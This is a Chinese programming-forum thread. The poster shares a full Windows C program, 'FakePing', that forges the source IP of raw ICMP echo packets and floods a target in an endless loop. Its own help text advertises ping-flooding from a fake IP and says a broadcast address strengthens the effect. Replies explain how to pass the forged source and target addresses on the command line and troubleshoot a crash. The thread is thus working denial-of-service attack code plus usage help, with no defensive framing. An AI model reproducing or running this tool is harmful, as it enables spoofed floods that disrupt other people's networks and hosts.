我在网上找到下面的代码,把错误的都改过来了,就是不知道怎么用?有哪位高手看得懂的吗,请教一下!
#include <winsock2.h>
#pragma comment(lib, "Ws2_32.lib")
#include <Ws2tcpip.h>
#include <stdio.h>
#include <stdlib.h>
#pragma comment(lib,"comctl32.lib")
#pragma comment(lib,"Wsock32.lib")
#define SEQ 0x28376839
#define STATUS_FAILED 0xFFFF //错误返回值typedef struct _iphdr //定义IP首部
{
unsigned char h_verlen; //4位首部长度,4位IP版本号
unsigned char tos; //8位服务类型TOS
unsigned short total_len; //16位总长度(字节)
unsigned short ident; //16位标识
unsigned short frag_and_flags; //3位标志位
unsigned char ttl;//8位生存时间 TTL
unsigned char proto; //8位协议 (TCP, UDP 或其他)
unsigned short checksum; //16位IP首部校验和
unsigned int sourceIP; //32位源IP地址
unsigned int destIP; //32位目的IP地址
}IP_HEADER;//
// 定义ICMP首部
typedef struct _ihdr 
{
BYTE i_type; //8位类型
BYTE i_code; //8位代码
USHORT i_cksum; //16位校验和 
USHORT i_id; //识别号(一般用进程号作为识别号)
USHORT i_seq; //报文序列号 
ULONG timestamp; //时间戳
}ICMP_HEADER;
//CheckSum:计算校验和的子函数
USHORT checksum(USHORT *buffer, int size) 
{
unsigned long cksum=0;
while(size >1) {
cksum+=*buffer++;
size -=sizeof(USHORT);
}
if(size ){
cksum += *(UCHAR*)buffer;
}
cksum = (cksum >> 16) + (cksum & 0xffff);
cksum += (cksum >>16);
return (USHORT)(~cksum);
}//FakePing主函数
int main(int argc, char **argv)
{
int datasize,ErrorCode,counter,flag;
int TimeOut=2000, SendSEQ=0, PacketSize=32;
char SendBuf[65535]={0};
WSADATA wsaData;
SOCKET SockRaw=(SOCKET)NULL;
struct sockaddr_in DestAddr;
IP_HEADER ip_header;
ICMP_HEADER icmp_header;
char FakeSourceIp[20],DestIp[20];
//接受命令行参数
if (argc<3)
{
printf("FakePing by Shotgun\n");
printf("\tThis program can do Ping-Flooding from a FakeIP\n");
printf("\tUsing a BroadCast IP as the FakeIP will enhance the effect\n");
printf("Email:\n");
printf("\[email protected]\n");
printf("HomePage:\n");
printf("\thttp://It.Xici.Net\n");
printf("\thttp://www.Patching.Net\n");
printf("USAGE:\n\tFakePing.exe FakeSourceIp DestinationIp [PacketSize]\n");
printf("Example:\n");
printf("\tFakePing.exe 192.168.15.23 192.168.15.255\n");
printf("\tFakePing.exe 192.168.15.23 192.168.15.200 6400\n");
exit(0);
}
strcpy(FakeSourceIp,argv[1]);
strcpy(DestIp,argv[2]);
if (argc>3) PacketSize=atoi(argv[3]);
if (PacketSize>60000) 
{
printf("Error! Packet size too big, must <60K\n");
exit(0);
}
printf("Now Fake %s Ping %s using Packet size=%d bytes\n",
FakeSourceIp, DestIp, PacketSize);
printf("\tCtrl+C to Quit\n");
//初始化SOCK_RAW
if((ErrorCode=WSAStartup(MAKEWORD(2,1),&wsaData))!=0)
{
fprintf(stderr,"WSAStartup failed: %d\n",ErrorCode);
ExitProcess(STATUS_FAILED);
}
if((SockRaw=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED))==INVALID_SOCKET)
{
fprintf(stderr,"WSASocket() failed: %d\n",WSAGetLastError());
ExitProcess(STATUS_FAILED);
}
flag=TRUE; 
//设置IP_HDRINCL以自己填充IP首部
ErrorCode=setsockopt(SockRaw,IPPROTO_IP,IP_HDRINCL,(char *)&flag,sizeof(int));
if(ErrorCode==SOCKET_ERROR) 
printf("Set IP_HDRINCL Error!\n");
__try{
//设置发送超时
ErrorCode=setsockopt(SockRaw,SOL_SOCKET,SO_SNDTIMEO,(char*)&TimeOut,sizeof(TimeOut));
if (ErrorCode==SOCKET_ERROR) 
{
fprintf(stderr,"Failed to set send TimeOut: %d\n",WSAGetLastError());
__leave;
}
memset(&DestAddr,0,sizeof(DestAddr));
DestAddr.sin_family=AF_INET;
DestAddr.sin_addr.s_addr=inet_addr(DestIp);
//填充IP首部
ip_header.h_verlen=(4<<4 | sizeof(ip_header)/sizeof(unsigned long)); //高四位IP版本号,低四位首部长度
ip_header.total_len=htons(sizeof(IP_HEADER)+sizeof(ICMP_HEADER)); //16位总长度(字节)
ip_header.ident=1; //16位标识
ip_header.frag_and_flags=0; //3位标志位
ip_header.ttl=128; //8位生存时间 TTL
ip_header.proto=IPPROTO_ICMP; //8位协议 (TCP, UDP 或其他)
ip_header.checksum=0; //16位IP首部校验和
ip_header.sourceIP=inet_addr(FakeSourceIp); //32位源IP地址
ip_header.destIP=inet_addr(DestIp); //32位目的IP地址
//填充ICMP首部
icmp_header.i_type = 8;
icmp_header.i_code = 0;
icmp_header.i_cksum = 0;
icmp_header.i_id = 2;
icmp_header.timestamp = 999;
icmp_header.i_seq=999;
memcpy(SendBuf, &icmp_header, sizeof(icmp_header));
memset(SendBuf+sizeof(icmp_header), 'E', PacketSize); 
icmp_header.i_cksum = checksum((USHORT *)SendBuf, sizeof(icmp_header)+PacketSize);
memcpy(SendBuf,&ip_header,sizeof(ip_header));
memcpy(SendBuf+sizeof(ip_header), &icmp_header, sizeof(icmp_header));
memset(SendBuf+sizeof(ip_header)+sizeof(icmp_header), 'E', PacketSize);
memset(SendBuf+sizeof(ip_header)+sizeof(icmp_header)+PacketSize, 0, 1);
//计算发送缓冲区的大小
datasize=sizeof(ip_header)+sizeof(icmp_header)+PacketSize;
ip_header.checksum=checksum((USHORT *)SendBuf,datasize);
//填充发送缓冲区
memcpy(SendBuf,&ip_header, sizeof(ip_header));
while(1) 
{
Sleep(100);
printf(".");
for(counter=0;counter<1024;counter++)
{
//发送ICMP报文
ErrorCode=sendto(SockRaw,SendBuf,datasize,0,(struct sockaddr*)&DestAddr,sizeof(DestAddr));
if (ErrorCode==SOCKET_ERROR) printf("\nSend Error:%d\n",GetLastError());
}
}
}//End of try
__finally {
if (SockRaw != INVALID_SOCKET) closesocket(SockRaw);
WSACleanup();
}
return 0;
}

解决方案 »

  1.   

    char FakeSourceIp[20],DestIp[20];
    为什么不用赋值,是不是要我自己输进去IP地址?
    我试过了给这两个赋值,但是不管用,还是执行了下面的代码,和没赋值时候是一样的if (argc<3)
    {
    printf("FakePing by Shotgun\n");
    printf("\tThis program can do Ping-Flooding from a FakeIP\n");
    printf("\tUsing a BroadCast IP as the FakeIP will enhance the effect\n");
    printf("Email:\n");
    printf("\[email protected]\n");
    printf("HomePage:\n");
    printf("\thttp://It.Xici.Net\n");
    printf("\thttp://www.Patching.Net\n");
    printf("USAGE:\n\tFakePing.exe FakeSourceIp DestinationIp [PacketSize]\n");
    printf("Example:\n");
    printf("\tFakePing.exe 192.168.15.23 192.168.15.255\n");
    printf("\tFakePing.exe 192.168.15.23 192.168.15.200 6400\n");
    exit(0);
    }要怎样才能执行这个if后面的语句?
      

  2.   

    FakePing.exe 192.168.15.23 192.168.15.255这样用,第一个IP是假的源IP,第二个是目标IP不过XP SP2上RawSocket已经做了IP判断,虚假IP的包是发不出去的
      

  3.   

    具体怎么改可以说明一下吗?因为我一运行就直接执行了那个if语句,后面的根本就不执行。
    还有,如果我不用虚假的IP包,用真的IP包应该可以用吧?
      

  4.   

    楼主,C语言程序都看不懂?if(argc<3) // 表示如果你输入的参数个数少于3,就显示帮助信息
    {
    ...
    exit(0);
    }strcpy(FakeSourceIp,argv[1]);  // 这是你输入的第1个参数,假源IP
    strcpy(DestIp,argv[2]);        // 这是你输入的第2个参数,目标IP如果不想用假源IP,那你就自己本机的真实IP不就行了
      

  5.   


    strcpy("192.168.15.23",argv[1]);   //FakeSourceIp
    strcpy("192.168.15.200",argv[2]);  //DestIp       我是这样写的,还是不行啊,还是直接执行那个if语句?
    你说输入的参数个数少于3个,这两个strcpy()函数只能接收两个参数,你怎么给他三个以上的参数呢?
      

  6.   

    strcpy("192.168.15.23",argv[1]);   //FakeSourceIp
    strcpy("192.168.15.200",argv[2]);  //DestIp 
    这个参数是在你执行exe传入,而不是在exe内部copy.
      

  7.   


    那我要怎样在执行exe的时候传入呢?程序执行的时候没有可以供输入的变量啊,谢谢你详细讲一下吧
      

  8.   

    command line: > your.exe 192.168.15.23 192.168.15.200
      

  9.   


    我在command line中输入了
    c>F:\Debug\pingAttack 192.168.1.101 192.168.1.103
    结果弹出了pingAttack.exe-应用程序错误,“0x004020d1”指令引用的“0x004242f0”内存。该内存不能尾“written”。
    怎么会这样?还有,我上面那样写对不对的?谢谢啊!
      

  10.   

    我在本机运行没有错呀.
    我是在xp系统 VS2005开发环境下编译的。一切正常。